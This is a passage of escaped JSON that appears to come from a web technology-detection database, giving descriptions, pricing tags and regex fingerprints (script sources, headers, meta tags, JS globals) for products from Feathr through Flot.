\"Feathr.svg\",\n    \"js\": {\n      \"FeathrBoomerang.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.feathr\\\\.co/\"\n    ],\n    \"website\": \"https://www.feathr.co\"\n  },\n  \"Featurebase\": {\n    \"cats\": [\n      85\n    ],\n    \"description\": \"Featurebase is feature management software designed to collect, organise, and analyse product feedback, empowering teams to make data-driven decisions for building products that align with customer preferences.\",\n    \"dom\": [\n      \"meta[http-equiv*='Content-Security-Policy'][content*='//featurebase.app']\"\n    ],\n    \"icon\": \"Featurebase.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.featurebase.app\"\n  },\n  \"FedEx\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"FedEx is an American multinational company which focuses on transportation, ecommerce and business services.\",\n    \"icon\": \"FedEx.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bFedEx\\\\b\"\n    ],\n    \"website\": \"https://www.fedex.com\"\n  },\n  \"Fedora\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:fedoraproject:fedora:*:*:*:*:*:*:*:*\",\n    \"description\": \"Fedora is a free open-source Linux-based operating system.\",\n    \"headers\": {\n      \"Server\": \"Fedora\"\n    },\n    \"icon\": \"Fedora.svg\",\n    \"website\": \"https://fedoraproject.org\"\n  },\n  \"Feedback Fish\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Feedback Fish is a widget for collecting website feedback from users.\",\n    \"icon\": \"feedback-fish.svg\",\n    \"scriptSrc\": [\n      \"^https://feedback\\\\.fish/ff\\\\.js\"\n    ],\n    \"website\": \"https://feedback.fish\"\n  },\n  \"FeederNinja\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"FeederNinja is a tool that allows users to create customizable RSS and social media feed widgets for embedding on websites.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.feederninja\\\\.com/\"\n    ],\n    \"website\": \"https://www.feederninja.com\"\n  },\n  \"Feefo\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Feefo is a cloud-based consumer review and rating management software.\",\n    \"dom\": [\n      \"a[href*='.feefo.com/'][target='_blank'], link[href*='.feefo.com/'], img[src*='.feefo.com/']\"\n    ],\n    \"icon\": \"Feefo.svg\",\n    \"js\": {\n      \"feefoTracker\": \"\",\n      \"feefoWidget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.feefo\\\\.com/\"\n    ],\n    \"website\": \"https://www.feefo.com\"\n  },\n  \"Fello\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Fello is a seller lead generation platform created by agents for agents. It provides modern agents with a lead funnel designed to retain serious sellers.\",\n    \"icon\": \"Fello.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hifello\\\\.com/\"\n    ],\n    \"website\": \"https://hifello.com\"\n  },\n  \"Fenicio\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fenicio is a cloud platform that handles all aspects of ecommerce sales channel operation and management.\",\n    \"icon\": \"Fenicio.svg\",\n    \"js\": {\n      \"_FN.validadorTelefono\": \"\",\n      \"fnWishlist.cargarInfoArticulos\": \"\",\n      \"fneCommerce.miCompraVisto\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fenicio.io\"\n  },\n  \"Fera\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Fera is a product review and social proof application for ecommerce websites.\",\n    \"icon\": \"Fera.svg\",\n    \"js\": {\n      \"fera\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.fera\\\\.ai\"\n    ],\n    \"website\": \"https://fera.ai/\"\n  },\n  \"Fera Product Reviews App\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Fera Product Reviews App is a product review and social proof app for Shopify.\",\n    \"icon\": \"Fera.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Fera\"\n    ],\n    \"js\": {\n      \"feraJsUrl\": \"cdn\\\\.fera\\\\.ai/js/fera\\\\.js.+\\\\.myshopify\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/fera\"\n  },\n  \"FiboSearch\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"FiboSearch is a WooCommerce product search plugin, formerly known as AJAX Search.\",\n    \"icon\": \"FiboSearch.svg\",\n    \"js\": {\n      \"dgwt_wcas.ajax_search_endpoint\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WooCommerce\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fibosearch.com\"\n  },\n  \"FilePond\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"FilePond is a JavaScript library for file uploads.\",\n    \"icon\": \"filepond.svg\",\n    \"js\": {\n      \"FilePond\": \"\",\n      \"FilePond.create\": \"\",\n      \"FilePond.setOptions\": \"\"\n    },\n    \"scriptSrc\": [\n      \"filepond.js\"\n    ],\n    \"website\": \"https://pqina.nl/filepond/\"\n  },\n  \"Fillout\": {\n    \"cats\": [\n      5,\n      110\n    ],\n    \"description\": \"Fillout is a form builder widget.\",\n    \"oss\": false,\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^https://server\\\\.fillout\\\\.com/embed/v(\\\\d)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.fillout.com/\"\n  },\n  \"FinanceAds\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"FinanceAds is a performance marketing agency that has grown affiliate network for the financial sector.\",\n    \"dom\": [\n      \"link[href*='js.financeads.net'], link[href*='js.financeads.com'], a[href*='www.financeads.net/tc.php']\"\n    ],\n    \"icon\": \"Financeads.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.financeads.com\"\n  },\n  \"FindGore\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"FindGore is a conversion rate improvement analytics tool designed to help businesses optimise their websites by analysing user behaviour and identifying areas for enhancement to increase conversion rates.\",\n    \"icon\": \"FindGore.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.findgore\\\\.com/\"\n    ],\n    \"website\": \"https://www.findgore.com\"\n  },\n  \"Findbar\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Findbar specializes in advanced on-site search technology, enhancing user engagement and improving the overall user experience on websites and applications.\",\n    \"icon\": \"Findbar.svg\",\n    \"js\": {\n      \"Findbar\": \"\",\n      \"findbarScriptLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://findbar.io\"\n  },\n  \"Findberry\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Findberry is an internal site search service designed for web developers and site owners looking to integrate a professional, ad-free search engine into their websites.\",\n    \"icon\": \"Findberry.svg\",\n    \"js\": {\n      \"jQuery_Findberry\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"jQuery\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.findberry\\\\.com/\"\n    ],\n    \"website\": \"https://www.findberry.com\"\n  },\n  \"Findify\": {\n    \"cats\": [\n      29,\n      76\n    ],\n    \"description\": \"Findify is an intelligent ecommerce search, navigation and personalisation solution.\",\n    \"icon\": \"Findify.svg\",\n    \"js\": {\n      \"FindifyAnalytics\": \"\",\n      \"findify\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"@findify/bundle@([\\\\d.]+)/dist/.+\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.findify.io\"\n  },\n  \"Findmeashoe\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Findmeashoe is a footwear recommendation portal that aims to improve shopping efficiency and experience of footwear shoppers.\",\n    \"icon\": \"Findmeashoe.png\",\n    \"js\": {\n      \"FmasJavaScript\": \"\",\n      \"fmasGenderSizeTextVariantIdCollection\": \"\",\n      \"fmasUniversalWidgetJsFileName\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://findmeashoe.com\"\n  },\n  \"Fing\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Fing is a cloud service to deploy and manage your applications without being worried about your infrastructure and environment.\",\n    \"headers\": {\n      \"server\": \"^Fing\"\n    },\n    \"icon\": \"Fing.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://fing.ir\"\n  },\n  \"FingerprintJS\": {\n    \"cats\": [\n      59,\n      83\n    ],\n    \"description\": \"FingerprintJS is a browser fingerprinting library that queries browser attributes and computes a hashed visitor identifier from them.\",\n    \"icon\": \"FingerprintJS.svg\",\n    \"js\": {\n      \"Fingerprint\": \"(\\\\d)?$\\\\;version:\\\\1\",\n      \"Fingerprint2\": \"\",\n      \"Fingerprint2.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"FingerprintJS\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fingerprint(?:/fp)?(\\\\d)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"fingerprintjs(?:\\\\-pro|2)?(?:@|/)(\\\\d.*?)?/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://fingerprintjs.com\"\n  },\n  \"FintechOS\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"FintechOS is a low-code platform for banking and insurance.\",\n    \"icon\": \"FintechOS.svg\",\n    \"js\": {\n      \"FtosChat\": \"\",\n      \"ftos.core.getB2CCulture\": \"\"\n    },\n    \"meta\": {\n      \"ftos-app-version\": \"\\\\sv([\\\\d\\\\.]+)\\\\s\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://fintechos.com\"\n  },\n  \"FireApps Ali Reviews\": {\n    \"cats\": [\n      100,\n      90\n    ],\n    \"description\": \"FireApps Ali Reviews is an all-in-one solution that helps to collect, showcase, and manage impactful reviews.\",\n    \"icon\": \"FireApps.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//alireviews\\\\.fireapps\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/ali-reviews\"\n  },\n  \"Firebase\": {\n    \"cats\": [\n      34,\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:google:firebase_cloud_messaging:*:*:*:*:*:*:*:*\",\n    \"description\": \"Firebase is a Google-backed application development software that enables developers to develop iOS, Android and Web apps.\",\n    \"dom\": [\n      \"iframe[src*='.firebaseapp.com/']\"\n    ],\n    \"headers\": {\n      \"vary\": \"x-fh-requested-host\"\n    },\n    \"icon\": \"Firebase.svg\",\n    \"js\": {\n      \"firebase.SDK_VERSION\": \"([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"/(?:([\\\\d.]+)/)?firebase(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"/firebasejs/([\\\\d.]+)/firebase\\\\;version:\\\\1\"\n    ],\n    \"scripts\": [\n      \"\\\\.gstatic\\\\.com/firebasejs/([\\\\d\\\\.]+)/\\\\;version:\\\\1\",\n      \"firebase(?:Config|io\\\\.com)\"\n    ],\n    \"website\": \"https://firebase.google.com\"\n  },\n  \"Fireblade\": {\n    \"cats\": [\n      31\n    ],\n    \"headers\": {\n      \"Server\": \"fbs\"\n    },\n    \"icon\": \"Fireblade.png\",\n    \"website\": \"https://fireblade.com\"\n  },\n  \"Firefish Software\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Firefish Software is a recruitment CRM for professional recruiters and recruitment agencies.\",\n    \"icon\": \"FireFish.svg\",\n    \"js\": {\n      \"ffControlSystem\": \"\",\n      \"firefish\": \"\"\n    },\n    \"pricing\": [],\n    \"saas\": true,\n    \"website\": \"https://www.firefishsoftware.com\"\n  },\n  \"Firepush\": {\n    \"cats\": [\n      32,\n      100\n    ],\n    \"description\": \"Firepush is an omnichannel marketing app that helps Shopify stores to drive sales with automated web push, email and SMS campaigns.\",\n    \"dom\": [\n      \"link[href*='cdn.firepush.net']\"\n    ],\n    \"icon\": \"Firepush.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.firepush\\\\.\\\\w+\",\n      \"fpcdn\\\\.me/.+shopify\"\n    ],\n    \"website\": \"https://getfirepush.com\"\n  },\n  \"Fireside\": {\n    \"cats\": [\n      10,\n      38\n    ],\n    \"description\": \"Fireside is a platform that provides podcast hosting and analytics services.\",\n    \"icon\": \"Fireside.svg\",\n    \"meta\": {\n      \"author\": \"^Fireside\\\\.$\",\n      \"generator\": \"Fireside ([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"a\\\\.fireside\\\\.fm/\"\n    ],\n    \"website\": \"https://fireside.fm\"\n  },\n  \"Firework\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Firework is a video commerce solution for brands, retailers, and publishers, enhancing digital storefronts with interactive livestream and shoppable video features.\",\n    \"icon\": \"Firework.svg\",\n    \"js\": {\n      \"_fwn\": \"\",\n      \"_fwnPerformance\": \"\",\n      \"fwnPolyfillPromise\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://firework.com\"\n  },\n  \"FirstHive\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"FirstHive is a full-stack customer data platform that enables consumer marketers and brands to take control of their first-party data from all sources.\",\n    \"icon\": \"FirstHive.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"firsthive\\\\.com/engage/\"\n    ],\n    \"website\": \"https://firsthive.com\"\n  },\n  \"FirstImpression.io\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"FirstImpression.io is a customized ad placements for publisher websites on their platform, with zero technical work.\",\n    \"icon\": \"FirstImpression.io.svg\",\n    \"js\": {\n      \"FI.options\": \"\",\n      \"fiPrebidAnalyticsHandler\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.firstimpression\\\\.io\"\n    ],\n    \"website\": \"https://www.firstimpression.io\",\n    \"xhr\": [\n      \"\\\\.firstimpression\\\\.io\"\n    ]\n  },\n  \"FirstPromoter\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"FirstPromoter is a software platform that helps businesses to create, manage and track their affiliate marketing programs.\",\n    \"dom\": [\n      \"link[href*='//firstpromoter.com/']\"\n    ],\n    \"icon\": \"FirstPromoter.svg\",\n    \"js\": {\n      \"FirstPromoterAPI\": \"\",\n      \"fprom_obj_\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.firstpromoter\\\\.com/\"\n    ],\n    \"website\": \"https://firstpromoter.com\"\n  },\n  \"Fit Analytics\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Fit Analytics is a platform that provides clothing size recommendations for online customers by measuring individual dimensions via webcams.\",\n    \"icon\": \"Fit Analytics.svg\",\n    \"js\": {\n      \"FitAnalyticsWidget\": \"\",\n      \"_fitAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fitanalytics\\\\.com\"\n    ],\n    \"website\": \"https://www.fitanalytics.com\"\n  },\n  \"FitVids.JS\": {\n    \"cats\": [\n      5,\n      14\n    ],\n    \"description\": \"jQuery plugin for fluid width video embeds\",\n    \"icon\": \"FitVids.JS.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"fitvids(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://fitvidsjs.com/\"\n  },\n  \"Fixel\": {\n    \"cats\": [\n      77,\n      86\n    ],\n    \"description\": \"Fixel is a remarketing and segmentation campaign builder utilising AI technology.\",\n    \"icon\": \"Fixel.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"script\\\\.fixel\\\\.ai/\"\n    ],\n    \"website\": \"https://fixel.ai\"\n  },\n  \"FlagSmith\": {\n    \"cats\": [\n      85\n    ],\n    \"description\": \"FlagSmith is an open-source, fully supported feature flag & remote configuration solution, which provides hosted API to help deployment to a private cloud or on-premises environment.\",\n    \"icon\": \"FlagSmith.svg\",\n    \"js\": {\n      \"flagsmith\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.flagsmith\\\\.com/\"\n    ],\n    \"website\": \"https://flagsmith.com\"\n  },\n  \"FlareLane\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"FlareLane is a customer engagement platform that enables businesses to send personalized notifications through multiple channels such as mobile push, web push, SMS, email, and in-app messaging, with features for automation, A/B testing, and real-time analytics.\",\n    \"icon\": \"FlareLane.svg\",\n    \"js\": {\n      \"FlareLane\": \"\",\n      \"flarelane_state\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.flarelane.com\"\n  },\n  \"Flarum\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:flarum:flarum:*:*:*:*:*:*:*:*\",\n    \"description\": \"Flarum is a discussion platform.\",\n    \"html\": [\n      \"<div id=\\\"flarum-loading\\\"\"\n    ],\n    \"icon\": \"flarum.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"app.cache.discussionList\": \"\",\n      \"app.forum.freshness\": \"\"\n    },\n    \"website\": \"https://flarum.org/\"\n  },\n  \"Flask\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:palletsprojects:flask:*:*:*:*:*:*:*:*\",\n    \"description\": \"Flask is a Python micro web framework ideal for rapidly constructing web applications, offering minimalism, flexibility, and modularity.\",\n    \"headers\": {\n      \"Server\": \"Werkzeug/?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Flask.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/pallets/flask/\"\n  },\n  \"Flat UI\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]* href=[^>]+flat-ui(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"Flat UI.svg\",\n    \"implies\": [\n      \"Bootstrap\"\n    ],\n    \"website\": \"https://designmodo.github.io/Flat-UI/\"\n  },\n  \"Flazio\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Flazio is an Italian website builder.\",\n    \"icon\": \"Flazio.svg\",\n    \"js\": {\n      \"_exaudiflazio\": \"\",\n      \"flazio_global_conversion\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//flazio\\\\.org/\"\n    ],\n    \"website\": \"https://flazio.com\"\n  },\n  \"Fleeq\": {\n    \"cats\": [\n      14\n    ],\n    \"cookies\": {\n      \"__FLEEQ\": \"\"\n    },\n    \"description\": \"Fleeq is a platform facilitating the creation of training videos, followed by tracking, embedding, optimization, localization, and sharing capabilities.\",\n    \"icon\": \"Fleeq.svg\",\n    \"js\": {\n      \"FleeqSDK\": \"\",\n      \"FleeqSDKLight\": \"\",\n      \"_fleeqBarSettings\": \"\",\n      \"_fleeqData\": \"\",\n      \"_fleeqWiki\": \"\",\n      \"fleeqBarConfig\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.fleeq.io\"\n  },\n  \"Fleksa\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Fleksa is an online ordering system for restaurants and delivery.\",\n    \"dom\": [\n      \"a[href*='play.google.com/store/apps/details?id=com.fleksa.'][target='_blank']\"\n    ],\n    \"icon\": \"Fleksa.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"Next.js\"\n    ],\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fleksa.com\"\n  },\n  \"FlexCMP\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"FlexCMP is a content management system (CMS) designed to facilitate the creation, management, and publishing of digital content.\",\n    \"headers\": {\n      \"X-Flex-Lang\": \"\",\n      \"X-Powered-By\": \"FlexCMP.+\\\\[v\\\\. ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<!--[^>]+FlexCMP[^>v]+v\\\\. ([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"FlexCMP.svg\",\n    \"meta\": {\n      \"generator\": \"^FlexCMP\"\n    },\n    \"website\": \"https://www.flexcmp.com/cms/home\"\n  },\n  \"FlexSlider\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"FlexSlider is a free jQuery slider plugin.\",\n    \"icon\": \"FlexSlider.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"jquery\\\\.flexslider(?:\\\\.min)?\\\\.js$\"\n    ],\n    \"website\": \"https://woocommerce.com/flexslider/\"\n  },\n  \"Flickity\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Flickity is a JavaScript slider library, built by David DeSandro of Metafizzy fame.\",\n    \"dom\": [\n      \"style[data-context='foundation-flickity-css'], div.flickity-enabled\"\n    ],\n    \"js\": {\n      \"Flickity\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"flickity(?:/|@)([\\\\d\\\\.]+).+flickity(?:\\\\.pkgd)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://flickity.metafizzy.co\"\n  },\n  \"Flip\": {\n    \"cats\": [\n      101\n    ],\n    \"cookies\": {\n      \"flip_sentry_dsn\": \"\"\n    },\n    \"description\": \"Flip is an employee app combining top features from popular social media platforms. It enables communication between deskless workers and those with corporate devices, offering chat, newsfeed, shift planning, timesheets, and more.\",\n    \"icon\": \"Flip.svg\",\n    \"meta\": {\n      \"apple-mobile-web-app-title\": \"^Flip$\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.getflip.com\"\n  },\n  \"FlipBuilder\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:flipbuilder:flip_pdf:*:*:*:*:*:*:*:*\",\n    \"description\": \"FlipBuilder is a tool that enables the batch conversion of standard PDF files into interactive booklets, featuring page flip animations and sound effects.\",\n    \"icon\": \"FlipBuilder.svg\",\n    \"meta\": {\n      \"Generator\": \"Flip PDF Professional ([\\\\d\\\\.]+) at https?://www\\\\.flipbuilder\\\\.com\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.flipbuilder\\\\.com/\"\n    ],\n    \"website\": \"https://www.flipbuilder.com\"\n  },\n  \"FlipClock.js\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"FlipClock.js is a JavaScript library, offering a modern twist to displaying time and countdowns on web applications.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"flipclock(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://flipclock.readthedocs.io/en/dev-1.0.0/CHANGE%20LOG/\"\n  },\n  \"FlippingBook\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"FlippingBook is a web-based software platform that enables users to create, publish, and share digital publications such as magazines, brochures, catalogs, and presentations.\",\n    \"dom\": [\n      \"a[href*='flippingbook.com/'][target='_blank']\"\n    ],\n    \"icon\": \"FlippingBook.svg\",\n    \"js\": {\n      \"__flippingbook_csrf__\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"online\\\\.flippingbook\\\\.com/\"\n    ],\n    \"website\": \"https://flippingbook.com\"\n  },\n  \"Flits\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Flits is a customer account pages that get all your shopper data in one place.\",\n    \"icon\": \"Flits.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"flitsObjects.accountPage\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getflits.com\"\n  },\n  \"Floatbot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Floatbot is a conversational AI Platform, facilitating the construction and deployment of voicebot, chatbot, and agent assist functionalities.\",\n    \"dom\": [\n      \"#flb-widget-handle\"\n    ],\n    \"icon\": \"Floatbot.svg\",\n    \"js\": {\n      \"flb.base_url\": \"\\\\.floatbot\\\\.ai/\",\n      \"flb.botId \": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.floatbot\\\\.ai/\"\n    ],\n    \"website\": \"https://floatbot.ai\"\n  },\n  \"Floating UI\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A JavaScript library to position floating elements and create interactions for them.\",\n    \"icon\": \"Floating UI.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"floating-ui(?:\\\\/core)?(?:\\\\/dom)?(?:\\\\.js)?(?:@?(?:\\\\?v(?:er)?=)?((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://floating-ui.com/\"\n  },\n  \"Flocktory\": {\n    \"cats\": [\n      94,\n      84\n    ],\n    \"description\": \"Flocktory is a social referral marketing platform that enables users to share personalised offers via social networks.\",\n    \"dom\": [\n      \"iframe[src*='.flocktory.com/']\"\n    ],\n    \"icon\": \"Flocktory.svg\",\n    \"js\": {\n      \"flocktory\": \"\",\n      \"flocktoryPurchase\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.flocktory\\\\.com/\"\n    ],\n    \"website\": \"https://www.flocktory.com\"\n  },\n  \"Floori\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Floori is an online tool designed to help users visualize different types of flooring in their home.\",\n    \"icon\": \"Floori.svg\",\n    \"js\": {\n      \"webpackChunkfloori\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://floori.io\"\n  },\n  \"Florist Touch\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Florist Touch is an all-in-one solution for home, studio, and shop florists, providing tools and resources for floral arrangements and business management.\",\n    \"icon\": \"FloristTouch.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.floristtouch\\\\.co\\\\.uk/\"\n    ],\n    \"website\": \"https://floristtouch.co.uk/\"\n  },\n  \"Flot\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Attractive Javascript plotting for jQuery.\",\n    \"icon\": \"Flot.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:jquery\\\\.)?)?flot(?:\\\\/curvedLines)?(?:\\\\/excanvas)?(?:\\\\/jquery)?(?:\\\\.categories)?(?:\\\\.pack)?(?:\\\\.pie)?(?:\\\\.resize)?(?:\\\\.selection)?(?:\\\\.spline)?(?:\\\\.symbol)?(?:\\\\.time)?(?:\\\\.tooltip)?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      